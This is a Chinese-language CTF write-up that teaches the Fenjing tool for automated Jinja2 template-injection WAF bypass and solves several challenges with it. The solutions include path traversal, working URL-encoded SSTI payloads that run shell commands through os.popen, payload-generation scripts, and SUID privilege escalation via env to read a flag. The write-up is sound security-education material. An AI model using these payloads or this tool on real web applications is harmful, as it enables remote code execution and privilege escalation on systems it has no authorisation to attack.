fenjing(焚靖)

fenjing(焚靖)

SSTI最高的山

下载地址Marven11/Fenjing: 专为CTF设计的Jinja2 SSTI全自动绕WAF脚本 )

再贴一个运用方法Fenjing/examples.md at main · Marven11/Fenjing

焚靖是一个针对CTF赛事中常规Jinja SSTI题目开发的WAF检测与绕过工具。

焚靖融合了CTF赛事中常见的SSTI绕过技巧,可以灵活组合使用各类绕过技巧全自动构建payload绕过WAF.

焚靖既可以作为命令行程序使用,也可以作为python库导入到脚本中,其还提供一个网页UI方便不熟悉命令行的选手使用。这就代表着除了用脚本执行命令,还可以通过fuzz测试确定黑名单后利用fenjing构造获取执行命令的脚本,用于被限制无法直接执行的题目(比如输入必须是base64形式)

Fenjing的安装运行:

使用pip进行安装运行:

1
2
3
pip install fenjing
python -m fenjing webui
# python -m fenjing scan --url 'http://xxxx:xxx'

当然也可以直接下载github上的库,然后本地解压使用

使用:

webui

可以直接在webui里指定参数并自动攻击

在左边填入并点击开始分析,然后在右边输入命令即可

crack-request

还可以将HTTP请求写进一个文本文件里(比如说req.txt)然后进行攻击

文本文件内容如下:

1
2
3
GET /?name=PAYLOAD HTTP/1.1
Host: 127.0.0.1:5000
Connection: close

命令如下:

1
python -m fenjing crack-request -f req.txt --host '127.0.0.1' --port 5000

通过命令行使用

各个功能的介绍:

  • webui: 网页UI
    • 顾名思义,网页UI
    • 默认端口11451
  • scan: 扫描整个网站
    • 从网站中根据form元素提取出所有的表单并攻击
    • 根据给定URL爆破参数,以及提取其他URL进行扫描
    • 扫描成功后会提供一个模拟终端或执行给定的命令
    • 示例:python -m fenjing scan --url 'http://xxx/'
  • crack: 对某个特定的表单进行攻击
    • 需要指定表单的url, action(GET或POST)以及所有字段(比如’name’)
    • 攻击成功后也会提供一个模拟终端或执行给定的命令
    • 示例:python -m fenjing crack --url 'http://xxx/' --method GET --inputs name
  • crack-path: 对某个特定的路径进行攻击
    • 攻击某个路径(如http://xxx.xxx/hello/<payload>)存在的漏洞
    • 参数大致上和crack相同,但是只需要提供对应的路径
    • 示例:python -m fenjing crack-path --url 'http://xxx/hello/'
  • crack-request: 读取某个请求文件进行攻击
    • 读取文件里的请求,将其中的PAYLOAD替换成实际的payload然后提交
    • 根据HTTP格式会默认对请求进行urlencode, 可以使用--urlencode-payload 0关闭
  • crack-json: 攻击指定的JSON API
    • 当一个API的body格式为JSON时攻击这个JSON中的某个键
    • 示例:python -m fenjing crack-json --url 'http://127.0.0.1:5000/crackjson' --json-data '{"name": "admin", "age": 24, "msg": ""}' --key msg
  • crack-keywords: 读取文件中的所有关键字并攻击
    • 从.txt, .py或者.json文件中读取所有关键字,对给定的shell指令生成对应的payload
    • 示例:python -m fenjing crack-keywords -k waf.json -o payload.jinja2 --command 'ls /'

一些特殊的选项:

注意:这个功能是围绕Unix Shell设计的,不建议在Windows下使用这个选项

  • --eval-args-payload:将payload放在GET参数x中提交

  • --detect-mode:检测模式,可为accurate或fast

  • --environment:指定模板的渲染环境,默认认为模板在flask中的render_template_string中渲染

  • 1
    --tamper-cmd

    :在payload发出前编码

    • 例如:
      • --tamper-cmd 'rev':将payload反转后再发出
      • --tamper-cmd 'base64':将payload进行base64编码后发出
      • --tamper-cmd 'base64 | rev':将payload进行base64编码并反转后再发出
  • 详细解释见examples.md(直接抄github上的描述了)

案例:

webui

就是通过fenjing提供的网页使用

指令:

1
python -m fenjing webui

image-20251125220436707

image-20251125220600099

基本觉得ssti注入点

再检验一下

image-20251125221018289

回显49,确认为ssti注入

找到你下载fenjing的目录,在终端中打开

输入

1
python -m fenjing webui

image-20251125220825192

按照要求填写好

目标链接:接收请求的地址,可以通过抓包获取,也可以直接查看网络

image-20251125221123579

这里可以看到是./ssti

请求方式:GET&POST抓包获取

表单输入:注入的参数名称GET请求就是?后的,POST请求查看抓包结果在抓到的包最末尾一行通常是username=……或name=……这里的username或name就是表单

这道题最终填入

1
2
3
目标链接:http://node4.anna.nssctf.cn:28651/ssti
请求方式:GET
表单输入:name

然后开始分析

image-20251125221812217

可以看到,已经绕过了,在下面执行命令

1
ls /
1
cat /flag

image-20251125221943158

导入作为库使用

这种方法运用在输入方式被限制的题目

比如2025极客大挑战的ez_read

这道题再上传payload时限制了字符串长度,114或514,所以需要先编写绕过黑名单的payload,再满足字符串要求

极客大挑战 ez_read

先注册一个账号,读文件的题目先尝试找源码

直接读或直接目录遍历读不到

1
2
3
4
5
6
7
当循环之夜跃过安达卢西亚的小岛,
穿越神秘之门,抛却一切期望,
我已深陷其中,漆黑如墨。
属于我的是那无尽的灰色,
我归属于那银色的梦境。

hint:坚持下坚持下去去

读到3.txt看到了一个hint

猜测是双写绕过

输入

1
....//app.py

读到源码了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
from flask import Flask, request, render_template, render_template_string, redirect, url_for, session
import os

app = Flask(__name__, template_folder="templates", static_folder="static")
app.secret_key = "key_ciallo_secret"

USERS = {}


def waf(payload: str) -> str:
print(len(payload))
if not payload:
return ""

if len(payload) not in (114, 514):
return payload.replace("(", "")
else:
waf = ["__class__", "__base__", "__subclasses__", "__globals__", "import","self","session","blueprints","get_debug_flag","json","get_template_attribute","render_template","render_template_string","abort","redirect","make_response","Response","stream_with_context","flash","escape","Markup","MarkupSafe","tojson","datetime","cycler","joiner","namespace","lipsum"]
for w in waf:
if w in payload:
raise ValueError(f"waf")

return payload


@app.route("/")
def index():
user = session.get("user")
return render_template("index.html", user=user)


@app.route("/register", methods=["GET", "POST"])
def register():
if request.method == "POST":
username = (request.form.get("username") or "")
password = request.form.get("password") or ""
if not username or not password:
return render_template("register.html", error="用户名和密码不能为空")
if username in USERS:
return render_template("register.html", error="用户名已存在")
USERS[username] = {"password": password}
session["user"] = username
return redirect(url_for("profile"))
return render_template("register.html")


@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = (request.form.get("username") or "").strip()
password = request.form.get("password") or ""
user = USERS.get(username)
if not user or user.get("password") != password:
return render_template("login.html", error="用户名或密码错误")
session["user"] = username
return redirect(url_for("profile"))
return render_template("login.html")


@app.route("/logout")
def logout():
session.clear()
return redirect(url_for("index"))


@app.route("/profile")
def profile():
user = session.get("user")
if not user:
return redirect(url_for("login"))
name_raw = request.args.get("name", user)

try:
filtered = waf(name_raw)
tmpl = f"欢迎,{filtered}"
rendered_snippet = render_template_string(tmpl)
error_msg = None
except Exception as e:
rendered_snippet = ""
error_msg = f"渲染错误: {e}"
return render_template(
"profile.html",
content=rendered_snippet,
name_input=name_raw,
user=user,
error_msg=error_msg,
)


@app.route("/read", methods=["GET", "POST"])
def read_file():
user = session.get("user")
if not user:
return redirect(url_for("login"))

base_dir = os.path.join(os.path.dirname(__file__), "story")
try:
entries = sorted([f for f in os.listdir(base_dir) if os.path.isfile(os.path.join(base_dir, f))])
except FileNotFoundError:
entries = []

filename = ""
if request.method == "POST":
filename = request.form.get("filename") or ""
else:
filename = request.args.get("filename") or ""

content = None
error = None

if filename:
sanitized = filename.replace("../", "")
target_path = os.path.join(base_dir, sanitized)
if not os.path.isfile(target_path):
error = f"文件不存在: {sanitized}"
else:
with open(target_path, "r", encoding="utf-8", errors="ignore") as f:
content = f.read()

return render_template("read.html", files=entries, content=content, filename=filename, error=error, user=user)


if __name__ == "__main__":
app.run(host="0.0.0.0", port=8080, debug=False)

发现在/profile中存在SSTI漏洞,但是有两个过滤,一个是字符串过滤只允许114或514个字符串;还有一个黑名单过滤

waf = [“class“, “base“, “subclasses“, “globals“, “import”,”self”,”session”,”blueprints”,”get_debug_flag”,”json”,”get_template_attribute”,”render_template”,”render_template_string”,”abort”,”redirect”,”make_response”,”Response”,”stream_with_context”,”flash”,”escape”,”Markup”,”MarkupSafe”,”tojson”,”datetime”,”cycler”,”joiner”,”namespace”,”lipsum”]

万能的fengjin又要出手了,依旧是利用fengjin的库写绕过脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from fenjing import exec_cmd_payload, config_payload
import logging
logging.basicConfig(level = logging.INFO)

def waf(s: str):
blacklist = [
"__class__",
"__base__",
"__subclasses__",
"__globals__",
"import",
"self",
"session",
"blueprints",
"get_debug_flag",
"json",
"get_template_attribute",
"render_template",
"render_template_string",
"abort",
"redirect",
"make_response",
"Response",
"stream_with_context",
"flash",
"escape",
"Markup",
"MarkupSafe",
"tojson",
"datetime",
"cycler",
"joiner",
"namespace",
"lipsum"
]
return all(word not in s for word in blacklist)

if __name__ == "__main__":
shell_payload, _ = exec_cmd_payload(waf, "ls /")
# config_payload = config_payload(waf)

print(f"{shell_payload=}")
#print(f"{config_payload=}")

使用方法:将脚本放在fengjin的文件夹中,在此处打开终端输入

1
python example.py

这样写好的payload肯定不满足字符串要求,于是再写一个脚本,计算字符串数量,然后利用{#aaa#}填充达到要求,脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
function adjustPayloadLength($payload, $targetLength) {
$currentLength = strlen($payload);

if ($currentLength == $targetLength) {
return $payload;
}

if ($currentLength > $targetLength) {
echo "错误: 原始payload长度($currentLength)已超过目标长度($targetLength)\n";
return $payload;
}

$neededChars = $targetLength - $currentLength - 4; // 减去 {# 和 #} 的4个字符
if ($neededChars < 0) {
echo "错误: 需要添加的字符数为负数\n";
return $payload;
}

// 添加注释
$adjustedPayload = $payload . '{#' . str_repeat('a', $neededChars) . '#}';

echo "原始payload: " . $payload . "\n";
echo "原始长度: " . $currentLength . "\n";
echo "目标长度: " . $targetLength . "\n";
echo "需要添加的字符数: " . $neededChars . "\n";
echo "调整后的payload: " . $adjustedPayload . "\n";
echo "调整后长度: " . strlen($adjustedPayload) . "\n";

return $adjustedPayload;
}

// 您的原始payload
$originalPayload = "{{url_for|attr('__glo'+'bals__')['os']|attr('popen')('find / -writable -type f 2>/dev/null | head -20')|attr('read')()}}";

echo "=== 调整到114字符 ===\n";
$payload114 = adjustPayloadLength($originalPayload, 114);

echo "\n=== 调整到514字符 ===\n";
$payload514 = adjustPayloadLength($originalPayload, 514);

echo "\n=== URL编码结果 ===\n";
echo "114字符payload URL编码: " . urlencode($payload114) . "\n";
echo "114字符payload URL编码后长度: " . strlen(urlencode($payload114)) . "\n";

echo "\n514字符payload URL编码: " . urlencode($payload514) . "\n";
echo "514字符payload URL编码后长度: " . strlen(urlencode($payload514)) . "\n";
?>

先ls /查看根目录发现flag文件,但是执行cat /flag时看不到文件

那就再看一下环境变量env

1
%7B%7B%28_1919.__eq__%5B%27_%27%27_globals__%27%5D.sys.modules.os.popen%28%27env%27%29%29.read%28%29%7D%7D%7B%23aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%23%7D
1
2
3
CHALLENGE_019A2B37_D8ED_019A5423_5A85_PORT_8080_TCP_ADDR=10.109.205.200 KUBERNETES_PORT=tcp://10.96.0.1:443 KUBERNETES_SERVICE_PORT=443 CHALLENGE_019A2B37_D8ED_019A5423_5A85_SERVICE_HOST=10.109.205.200 CHALLENGE_019A302C_FAAF_019A1178_33A1_PORT=tcp://10.108.8.0:9999 CHALLENGE_019A7612_96BB_019A1189_B8EA_SERVICE_HOST=10.110.38.169 CHALLENGE_019A302C_FAAF_019A1178_33A1_SERVICE_PORT=9999 CHALLENGE_019A7612_96BB_019A1189_B8EA_PORT_8080_TCP_ADDR=10.110.38.169 HOSTNAME=challenge-019a2b37-d8ed-019a5423-5a85-5764748b44-z58gw CHALLENGE_019A2B37_D8ED_019A5423_5A85_PORT_8080_TCP_PORT=8080 CHALLENGE_019A01D2_4CF4_019A1182_21E4_SERVICE_HOST=10.108.67.59 CHALLENGE_019A302C_FAAF_019A1178_33A1_SERVICE_PORT_PORT_9999=9999 CHALLENGE_019A2B37_D8ED_019A5423_5A85_PORT_8080_TCP_PROTO=tcp CHALLENGE_019A7612_96BB_019A1189_B8EA_PORT_8080_TCP_PORT=8080 CHALLENGE_019A01D2_4CF4_019A1182_21E4_SERVICE_PORT_PORT_80=80 OLDPWD=/opt/___web_very_strange_42___ HOME=/opt/___web_very_strange_42___ CHALLENGE_019A7612_96BB_019A1189_B8EA_PORT_8080_TCP_PROTO=tcp CHALLENGE_019A7612_86C2_019A3D0B_DC2F_PORT_3000_TCP=tcp://10.110.89.162:3000 PYTHONUNBUFFERED=1 CHALLENGE_019A7612_86C2_019A3D0B_DC2F_SERVICE_HOST=10.110.89.162 CHALLENGE_019A2B37_D8ED_019A5423_5A85_SERVICE_PORT=8080 CHALLENGE_019A2B37_D8ED_019A5423_5A85_PORT=tcp://10.109.205.200:8080 GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696D CHALLENGE_019A2B37_D8ED_019A7703_793E_SERVICE_HOST=10.106.216.17 CHALLENGE_019A8649_4AB3_019A10AD_1CF9_PORT_1337_TCP_ADDR=10.97.222.41 CHALLENGE_019A2B37_D8ED_019A7703_793E_PORT_8080_TCP_ADDR=10.106.216.17 CHALLENGE_019A7612_96BB_019A1189_B8EA_SERVICE_PORT=8080 CHALLENGE_019A7612_96BB_019A1189_B8EA_PORT=tcp://10.110.38.169:8080 PYTHON_SHA256=8d3ed8ec5c88c1c95f5e558612a725450d2452813ddad5e58fdb1a53b1209b78 CHALLENGE_019A01D2_4CF4_019A1182_21E4_PORT=tcp://10.108.67.59:80 CHALLENGE_019A8649_4AB3_019A10AD_1CF9_SERVICE_HOST=10.97.222.41 CHALLENGE_019A01D2_4CF4_019A1182_21E4_SERVICE_PORT=80 WERKZEUG_SERVER_FD=3 CHALLENGE_019A2B37_D8ED_019A7703_793E_PORT_8080_TCP_PORT=8080 CHALLENGE_019A8649_4AB3_019A10AD_1CF9_PORT_1337_TCP_PORT=1337 CHALLENGE_019A2B37_D8ED_019A5423_5A85_PORT_8080_TCP=tcp://10.109.205.200:8080 CHALLENGE_019A2B37_D8ED_019A7703_793E_PORT_8080_TCP_PROTO=tcp CHALLENGE_019A8649_4AB3_019A10AD_1CF9_PORT_1337_TCP_PROTO=tcp PYTHONDONTWRITEBYTECODE=1 CHALLENGE_019A7612_96BB_019A1189_B8EA_PORT_8080_TCP=tcp://10.110.38.169:8080 CHALLENGE_019A01CB_BF3C_019A1B57_0AD5_SERVICE_PORT_PORT_8080=8080 CHALLENGE_019A7612_86C2_019A3D0B_DC2F_SERVICE_PORT=3000 CHALLENGE_019A7612_86C2_019A3D0B_DC2F_PORT=tcp://10.110.89.162:3000 
HINT=用我提个权吧
CHALLENGE_019A2B37_D8ED_019A7703_793E_SERVICE_PORT=8080 CHALLENGE_019A2B37_D8ED_019A7703_793E_PORT=tcp://10.106.216.17:8080 CHALLENGE_019A302C_FAAF_019A1178_33A1_PORT_9999_TCP_ADDR=10.108.8.0 CHALLENGE_019A01D2_4CF4_019A1182_21E4_PORT_80_TCP_ADDR=10.108.67.59 CHALLENGE_019A8649_4AB3_019A10AD_1CF9_PORT=tcp://10.97.222.41:1337 CHALLENGE_019A8649_4AB3_019A10AD_1CF9_SERVICE_PORT=1337 CHALLENGE_019A302C_FAAF_019A1178_33A1_PORT_9999_TCP_PORT=9999 KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1 CHALLENGE_019A302C_FAAF_019A1178_33A1_PORT_9999_TCP_PROTO=tcp CHALLENGE_019A01D2_4CF4_019A1182_21E4_PORT_80_TCP_PORT=80 PATH=/usr/local/bin:/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin CHALLENGE_019A01D2_4CF4_019A1182_21E4_PORT_80_TCP_PROTO=tcp CHALLENGE_019A8649_4AB3_019A10AD_1CF9_PORT_1337_TCP=tcp://10.97.222.41:1337 CHALLENGE_019A2B37_D8ED_019A7703_793E_PORT_8080_TCP=tcp://10.106.216.17:8080 KUBERNETES_PORT_443_TCP_PORT=443 KUBERNETES_PORT_443_TCP_PROTO=tcp CHALLENGE_019A7612_86C2_019A3D0B_DC2F_SERVICE_PORT_PORT_3000=3000 LANG=C.UTF-8 CHALLENGE_019A01CB_BF3C_019A1B57_0AD5_PORT_8080_TCP_ADDR=10.99.229.85 CHALLENGE_019A01CB_BF3C_019A1B57_0AD5_SERVICE_HOST=10.99.229.85 PYTHON_VERSION=3.11.14 CHALLENGE_019A302C_FAAF_019A1178_33A1_PORT_9999_TCP=tcp://10.108.8.0:9999 CHALLENGE_019A01CB_BF3C_019A1B57_0AD5_PORT_8080_TCP_PORT=8080 CHALLENGE_019A01D2_4CF4_019A1182_21E4_PORT_80_TCP=tcp://10.108.67.59:80 CHALLENGE_019A2B37_D8ED_019A5423_5A85_SERVICE_PORT_PORT_8080=8080 CHALLENGE_019A01CB_BF3C_019A1B57_0AD5_PORT_8080_TCP_PROTO=tcp CHALLENGE_019A7612_96BB_019A1189_B8EA_SERVICE_PORT_PORT_8080=8080 KUBERNETES_SERVICE_PORT_HTTPS=443 KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443 KUBERNETES_SERVICE_HOST=10.96.0.1 CHALLENGE_019A01CB_BF3C_019A1B57_0AD5_SERVICE_PORT=8080 CHALLENGE_019A01CB_BF3C_019A1B57_0AD5_PORT=tcp://10.99.229.85:8080 PWD=/opt/___web_very_strange_42___ CHALLENGE_019A7612_86C2_019A3D0B_DC2F_PORT_3000_TCP_ADDR=10.110.89.162 CHALLENGE_019A302C_FAAF_019A1178_33A1_SERVICE_HOST=10.108.8.0 CHALLENGE_019A2B37_D8ED_019A7703_793E_SERVICE_PORT_PORT_8080=8080 CHALLENGE_019A7612_86C2_019A3D0B_DC2F_PORT_3000_TCP_PORT=3000 CHALLENGE_019A8649_4AB3_019A10AD_1CF9_SERVICE_PORT_PORT_1337=1337 CHALLENGE_019A7612_86C2_019A3D0B_DC2F_PORT_3000_TCP_PROTO=tcp CHALLENGE_019A01CB_BF3C_019A1B57_0AD5_PORT_8080_TCP=tcp://10.99.229.85:8080

发现hint,用我提个权吧,不懂问ai

大致懂了,先找suid权限的文件,再通过那里来执行文件

于是开始执行指令,方式同上,不再赘述

1
find / -perm -4000 -type f 2>/dev/null | grep -vE "/proc|/sys"

查找suid权限文件

1
%7B%7B%28%28g.pop%5B%27_%27%27_globals__%27%5D.__builtins__%5B%27__i%27%27mport__%27%5D%28%27os%27%29%29.popen%28%27find+%2F+-perm+-4000+-type+f+2%3E%2Fdev%2Fnull+%7C+grep+-vE+%5C%27%2Fproc%7C%2Fsys%5C%27%27%29%29.read%28%29%7D%7D%7B%23aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%23%7D

文件如下:

1
/usr/bin/su /usr/bin/gpasswd /usr/bin/chfn /usr/bin/chsh /usr/bin/umount /usr/bin/newgrp /usr/bin/passwd /usr/bin/mount /usr/local/bin/env

发现env文件可以使用,于是构造payload

1
/usr/local/bin/env cat /flag
1
%7B%7B%28%28g.pop%5B%27_%27%27_globals__%27%5D.__builtins__%5B%27__i%27%27mport__%27%5D%28%27os%27%29%29.popen%28%27%2Fusr%2Flocal%2Fbin%2Fenv+cat+%2Fflag%27%29%29.read%28%29%7D%7D%7B%23%23%7D

image-20251121112253300

拿到flag

通过命令行使用

以我们学校新生赛的一道ssti为例

image-20251125223751454

上传{{7*7}}的base64编码

1
e3s3Kjd9fQ==

回显49,存在ssti漏洞

image-20251125224251895

抓包,表单是quote

image-20251125225953027

在kali下载fenjing,输入指令

1
python -m fenjing crack --url 'http://node.szu.moe:10296/' --method POST --inputs quote --tamper-cmd 'base64'

爆破成功后就可以执行命令了

image-20251125230314736

然后就可以执行命令了

1
ls /
1
cat /flag

不对,查看环境变量

1
env

image-20251125230542004

找到flag

Contents